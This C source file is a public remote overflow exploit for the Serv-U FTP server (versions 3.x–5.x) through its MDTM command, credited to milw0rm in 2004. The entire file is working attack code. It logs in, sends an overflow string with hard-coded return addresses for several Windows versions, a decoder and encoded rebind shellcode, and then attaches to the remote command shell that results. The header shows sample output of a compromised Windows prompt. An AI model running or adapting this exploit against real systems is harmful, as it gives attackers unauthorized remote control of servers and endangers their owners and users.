/* ex_servu.c - Serv-U FTPD 3.x/4.x/5.x "MDTM" Command remote overflow exploit * * Copyright (c) SST 2004 All rights reserved. * * Public version * * BUG find by bkbll (bkbll@cnhonker.com), cool! :ppPPppPPPpp :D * * code by Sam and 2004/01/07 * * * * * Revise History: * 2004/01/14 add rebind shellcode :> we can bind shellport at ftpd port. * 2004/01/09 connect back shellcode added :) * 2004/01/08 21:04 upgrade now :), we put shellcode in file parameter * we can attack pacthed serv-U;PPPp by airsupply * 2004/01/08 change shellcode working on serv-u 4.0/4.1/4.2 now * :D thx airsupply * * Compile: gcc -o ex_servu ex_servu.c * * how works? * [root@core exp]# ./sv -h 192.168.10.119 -t 3 * Serv-U FTPD 3.x/4.x MDTM Command remote overflow exploit * bug find by bkbll (bkbll@cnhonker.com) code by Sam (Sam@0x557.org) * * # Connecting...... * [+] Connected. * [*] USER ftp . * [*] 10 bytes send. * [*] PASS sst@SERV-u . * [*] 17 bytes send. * [+] login success . * [+] remote version: Serv-U v4.x with Windows XP EN SP1 * [+] trigger vulnerability ! * [+] 1027 bytes overflow strings sent! * [+] successed!! * * * Microsoft Windows XP [Version 5.1.2600] * (C) Copyright 1985-2001 Microsoft Corp. * * [Sam Chen@SAM C:\]# * * * some thanks/greets to: * bkbll (he find this bug :D), airsupply, kkqq, icbm * and everyone else who's KNOW SST;P * http://0x557.org */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define VER "v5.0" #define clearbit(buff) bzero(buff, sizeof (buff)); #define padding(buff, a) memset(buff, a, sizeof (buff)); #define MAX_LEN 2048 #define MAX_NUM 4 int x = 0, port = 21, shellport; char pass[20], user[20]; struct archs { char *desc; unsigned int magic; }architectures[] = { { "Serv-U v3.x/4.x/5.x with Windows 2K CN", //winmm.dll 0x77535985 }, { "Serv-U v3.x/4.x/5.x with Windows 2K BIG5 version", //winmm.dll 0x77531790 }, { "Serv-U v3.x/4.x/5.x with Windows 2K EN", 0x77575985 }, { "Serv-U v3.x/4.x/5.x with Windows XP CN SP1", 0x76b12f69 }, { "Serv-U v3.x/4.x/5.x with Windows XP EN SP1", 0x76b42a3a } }; char decoder [] = /* 36 bytes cool decoder by airsupply :) */ "\x90\x90\x90\x5E\x5F\x5B\xBE\x52\x52\x49\x41\x46\xBF\x52\x52\x31" "\x41\x47\x43\x39\x3B\x75\xFB\x4B\x80\x33\x99\x39\x73\xFC\x75\xF7" "\xFF\xD3\x90\x90"; /* fork + rebind shellcode by airsupply (one way shellcode) */ char shellcode [] = "\x53\x52\x49\x41" /*port offset 120 + 4*/ "\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12\xD9\x85\x12\x99\x12\xD9" "\x91\x18\x75\x19\x98\x99\x99\x12\x65\x12\x76\x32\x70\x8B\x9B\x99" "\x99\xC7\xAA\x50\x28\x90\x66\xEE\x65\x71\xB9\x98\x99\x99\xF1\xF5" "\xF5\x99\x99\xF1\xAA\xAB\xB7\xFD\xF1\xEE\xEA\xAB\xC6\xCD\x66\xCC" "\x9D\x32\xAA\x50\x28\x9C\x66\xEE\x65\x71\x99\x98\x99\x99\x12\x6C" "\x71\x94\x98\x99\x99\xAA\x66\x18\x75\x09\x98\x99\x99\xCD\xF1\x98" "\x98\x99\x99\x66\xCF\xB5\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF" "\xA9\x12\x41\xCE\xCE\xF1\x9B\x99\x8C\x5B\x12\x55\xCA\xC8\xF3\x8F" "\xC8\xCA\x66\xCF\xAD\xC0\xC2\x1C\x59\xEC\x68\xCE\xCA\x66\xCF\xA1" "\xCE\xC8\xCA\x66\xCF\xA5\x12\x49\x10\x1F\xD9\x98\x99\x99\xF1\xFC" "\xE1\xFC\x99\xF1\xFA\xF4\xFD\xB7\x10\x3F\xA9\x98\x99\x99\x1A\x75" "\xCD\x14\xA5\xBD\xAA\x59\xAA\x50\x1A\x58\x8C\x32\x7B\x64\x5F\xDD" "\xBD\x89\xDD\x67\xDD\xBD\xA5\x67\xDD\xBD\xA4\x10\xCD\xBD\xD1\x10" "\xCD\xBD\xD5\x10\xCD\xBD\xC9\x14\xDD\xBD\x89\x14\x27\xDD\x98\x99" "\x99\xCE\xC9\xC8\xC8\xC8\xD8\xC8\xD0\xC8\xC8\x66\x2F\xA9\x98\x99" "\x99\xC8\x66\xCF\x91\xAA\x59\xD1\xC9\x66\xCF\x95\xCA\xCC\xCF\xCE" "\x12\xF5\xBD\x81\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81" "\x12\xC3\xB9\x9A\x44\x7A\xA9\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65" "\xAA\x59\x35\xA3\x79\xED\x9E\x58\x56\x9E\x9A\x61\x72\x6B\xA2\xE5" "\xBD\x8D\xEC\x78\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85" "\x9A\x44\x12\x9D\x12\x9A\x5C\xC6\xC7\xC4\xC2\x5B\x9D\x99\xC8\x66" "\xED\xBD\x91\x34\xC9\x71\x3B\x66\x66\x66\x1A\x5D\x9D\xC0\x32\x7B" "\x74\x5A\xF1\xFC\xE1\xFC\x99\xF1\xFA\xF4\xFD\xB7\x10\x3F\xA9\x98" "\x99\x99\x1A\x75\xCD\x14\xA5\xBD\xAA\x59\xAA\x50\x1A\x58\x8C\x32" "\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA5\x67\xDD\xBD\xA4\x10" "\xDD\xBD\xD1\x10\xDD\xBD\xD5\x10\xDD\xBD\xC9\x14\xDD\xBD\x89\x14" "\x27\xDD\x98\x99\x99\xCE\xC9\xC8\xC8\xF3\x9D\xC8\xC8\xC8\x66\x2F" "\xA9\x98\x99\x99\xC8\x66\xCF\x91\x18\x75\x99\x9D\x99\x99\xF1\x9E" "\x99\x98\x99\xCD\x66\x2F\xD1\x98\x99\x99\x66\xCF\x89\xF3\xD9\xF1" "\x99\x89\x99\x99\xF1\x99\xC9\x99\x99\xF3\x99\x66\x2F\xDD\x98\x99" "\x99\x66\xCF\x8D\x10\x1D\xBD\x21\x99\x99\x99\x10\x1D\xBD\x2D\x99" "\x99\x99\x12\x15\xBD\xF9\x9D\x99\x99\x5E\xD8\x62\x09\x09\x09\x09" "\x5F\xD8\x66\x09\x1A\x70\xCC\xF3\x99\xF1\x99\x89\x99\x99\xC8\xC9" "\x66\x2F\xDD\x98\x99\x99\x66\xCF\x81\xCD\x66\x2F\xD1\x98\x99\x99" "\x66\xCF\x85\x66\x2F\xD1\x98\x99\x99\x66\xCF\xB9\xAA\x59\xD1\xC9" "\x66\xCF\x95\x71\x70\x64\x66\x66\xAB\xED\x08\x95\x50\x25\x3F\xF2" "\x16\x6B\x81\xF8\x51\xCE\xD6\x88\x68\xE2\x05\x76\xC1\x96\xD8\x0E" "\x51\xCE\xD6\x8E\x4F\x15\x07\x6A\xFA\x10\x48\xD6\xA4\xF3\x2D\x19" "\xB4\xAB\xE1\x47\xFD\x89\x3E\x44\x95\x06\x4A\xD2\x28\x87\x0E\x98" "\x06\x06\x06\x06" "\x53\x52\x31\x41"; /* new: * tcp connect with no block socket, host to ip. * millisecond timeout, it's will be fast. *;D * 2003/06/23 add by Sam */ int new_tcpConnect (char *host, unsigned int port, unsigned int timeout) { int sock, flag, pe = 0; size_t pe_len; struct timeval tv; struct sockaddr_in addr; struct hostent* hp = NULL; fd_set rset; // reslov hosts hp = gethostbyname (host); if (NULL == hp) { perror ("tcpConnect:gethostbyname\n"); return -1; } sock = socket (AF_INET, SOCK_STREAM, 0); if (-1 == sock) { perror ("tcpConnect:socket\n"); return -1; } addr.sin_addr = *(struct in_addr *) hp->h_addr; addr.sin_family = AF_INET; addr.sin_port = htons (port); /* set socket no block */ flag = fcntl (sock, F_GETFL); if (-1 == flag) { perror ("tcpConnect:fcntl\n"); close (sock); return -1; } flag |= O_NONBLOCK; if (fcntl (sock, F_SETFL, flag) < 0) { perror ("tcpConnect:fcntl\n"); close (sock); return -1; } if (connect (sock, (const struct sockaddr *) &addr, sizeof(addr)) < 0 && errno != EINPROGRESS) { perror ("tcpConnect:connect\n"); close (sock); return -1; } /* set connect timeout * use millisecond */ tv.tv_sec = timeout/1000; tv.tv_usec = timeout%1000; FD_ZERO (&rset); FD_SET (sock, &rset); if (select (sock+1, &rset, &rset, NULL, &tv) <= 0) { // perror ("tcpConnect:select"); close (sock); return -1; } pe_len = sizeof (pe); if (getsockopt (sock, SOL_SOCKET, SO_ERROR, &pe, &pe_len) < 0) { perror ("tcpConnect:getsockopt\n"); close (sock); return -1; } if (pe != 0) { errno = pe; close (sock); return -1; } if (fcntl(sock, F_SETFL, flag&~O_NONBLOCK) < 0) { perror ("tcpConnect:fcntl\n"); close (sock); return -1; } pe = 1; pe_len = sizeof (pe); if (setsockopt (sock, IPPROTO_TCP, TCP_NODELAY, &pe, pe_len) < 0){ perror ("tcpConnect:setsockopt\n"); close (sock); return -1; } return sock; } /* rip code, from hsj */ int sh (int in, int out, int s) { char sbuf[128], rbuf[128]; int i, ti, fd_cnt, ret=0, slen=0, rlen=0; fd_set rd, wr; fd_cnt = in > out ? in : out; fd_cnt = s > fd_cnt ? s : fd_cnt; fd_cnt ++; for (;;) { FD_ZERO (&rd); if (rlen < sizeof (rbuf)) FD_SET (s, &rd); if (slen < sizeof (sbuf)) FD_SET (in, &rd); FD_ZERO (&wr); if (slen) FD_SET (s, &wr); if (rlen) FD_SET (out, &wr); if ((ti = select (fd_cnt, &rd, &wr, 0, 0)) == (-1)) break; if (FD_ISSET (in, &rd)) { if((i = read (in, (sbuf+slen), (sizeof (sbuf) - slen))) == (-1)) { ret = -2; break; } else if (i == 0) { ret = -3; break; } slen += i; if (!(--ti)) continue; } if (FD_ISSET (s, &wr)) { if ((i = write (s, sbuf, slen)) == (-1)) break; if (i == slen) slen = 0; else { slen -= i; memmove (sbuf, sbuf + i, slen); } if (!(--ti)) continue; } if (FD_ISSET (s, &rd)) { if ((i = read (s, (rbuf + rlen), (sizeof (rbuf) - rlen))) <= 0) break; rlen += i; if (!(--ti)) continue; } if (FD_ISSET (out, &wr)) { if ((i = write (out, rbuf, rlen)) == (-1)) break; if (i == rlen) rlen = 0; else { rlen -= i; memmove (rbuf, rbuf+i, rlen); } } } return ret; } int new_send (int fd, char *buff, size_t len) { int ret; if ((ret = send (fd, buff, len, 0)) <= 0) { perror ("new_write"); return -1; } return ret; } int new_recv (int fd, char *buff, size_t len) { int ret; if ((ret = recv (fd, buff, len, 0)) <= 0) { perror ("new_recv"); return -1; } return ret; } int ftp_login (char *hostName, short port, char *user, char *pass) { int ret, sock; char buff[MAX_LEN]; fprintf (stderr, "# Connecting...... \n"); if ((sock = new_tcpConnect (hostName, port, 4000)) <= 0) { fprintf (stderr, "[-] failed. \n"); return -1; } clearbit (buff); new_recv (sock, buff, sizeof (buff) - 1); if (!strstr (buff, "220")) { fprintf (stderr, "[-] failed. \n"); return -1; } fprintf (stderr, "[+] Connected. \n"); sleep (1); fprintf (stderr, "[*] USER %s .\n", user); clearbit (buff); snprintf (buff, sizeof (buff), "USER %s\r\n", user); ret = new_send (sock, buff, strlen (buff)); fprintf (stderr, "[*] %d bytes send. \n", ret); sleep (1); clearbit (buff); new_recv (sock, buff, sizeof (buff) - 1); if (!strstr (buff, "331")) { fprintf (stderr, "[-] user failed. \n%s\n", buff); return -1; } fprintf (stderr, "[*] PASS %s .\n", pass); clearbit (buff); snprintf (buff, sizeof (buff), "PASS %s\r\n", pass); ret = new_send (sock, buff, strlen (buff)); fprintf (stderr, "[*] %d bytes send. \n", ret); sleep (1); clearbit (buff); new_recv (sock, buff, sizeof (buff) - 1); if (!strstr (buff, "230")) { fprintf (stderr, "[-] pass failed. \n%s\n", buff); return -1; } fprintf (stderr, "[+] login success .\n"); return sock; } void do_overflow (int sock) { int ret, i; unsigned short newport; char Comand [MAX_LEN] = {0}, chmodBuffer [600], rbuf[256]; clearbit (Comand); clearbit (rbuf); clearbit (chmodBuffer); for(i = 0; i < 47; i++) strcat(chmodBuffer, "a"); for(i = 0; i < 16; i += 8) { *(unsigned int*)&chmodBuffer[47+i] = 0x06eb9090; *(unsigned int*)&chmodBuffer[51+i] = architectures[x].magic; //0x1002bd78; //pop reg pop reg ret } newport = htons (shellport)^(unsigned short)0x9999; memcpy (&shellcode[120 + 4], &newport, 2); strcat(chmodBuffer, decoder); fprintf (stderr, "[+] remote version: %s\n", architectures[x].desc); fprintf (stderr, "[+] trigger vulnerability !\n "); strcpy (Comand, "MDTM 20031111111111+"); strncat (Comand, chmodBuffer, strlen (chmodBuffer) - 1); strcat (Comand, " "); strcat (Comand, shellcode); strcat (Comand, "hacked_by.sst\r\n"); ret = new_send (sock, Comand, strlen (Comand)); fprintf (stderr, "[+] %d bytes overflow strings sent!\n", ret); return; } /* print help messages. * just show ya how to use. */ void showHELP (char *p) { int i; fprintf (stderr, "Usage: %s [Options] \n", p); fprintf (stderr, "Options:\n" "\t-h [remote host]\tremote host\n" "\t-P [server port]\tserver port\n" "\t-t [system type]\tchoice the system type\n" "\t-u [user name]\tlogin with this username\n" "\t-p [pass word]\tlogin with this passwd\n" "\t-d [shell port]\trebind using this port (default: ftpd port)\n\n"); printf ("num . description\n"); printf ("----+-----------------------------------------------" "--------\n"); for (i = 0; i <= MAX_NUM; i ++) { printf ("%3d | %s\n", i, architectures[i].desc); } printf (" '\n"); return; } int main (int c, char *v[]) { int ch, fd, sd; char *hostName = NULL, *userName = "ftp", *passWord = "sst@SERV-u"; shellport = port; fprintf (stderr, "Serv-U FTPD 3.x/4.x/5.x MDTM Command remote overflow exploit "VER"\n" "bug find by bkbll (bkbll@cnhonker.net) code by Sam (Sam@0x557.org)\n\n"); if (c < 2) { showHELP (v[0]); exit (1); } while((ch = getopt(c, v, "h:t:u:p:P:c:d:")) != EOF) { switch(ch) { case 'h': hostName = optarg; break; case 't': x = atoi (optarg); if (x > MAX_NUM) { printf ("[-] wtf your input?\n"); exit (-1); } break; case 'u': userName = optarg; break; case 'p': passWord = optarg; break; case 'P': port = atoi (optarg); break; case 'd': shellport = atoi (optarg); break; default: showHELP (v[0]); return 0; } } fd = ftp_login (hostName, port, userName, passWord); if (fd <= 0) { printf ("[-] can't connnect\n"); exit (-1); } do_overflow (fd); close (fd); sleep (3); sd = new_tcpConnect (hostName, shellport, 3000); if (sd <= 0) { printf ("[-] failed\n"); return -1; } fprintf (stderr, "[+] successed!!\n\n\n"); sh (0, 1, sd); close (sd); return 0; } // milw0rm.com [2004-02-27]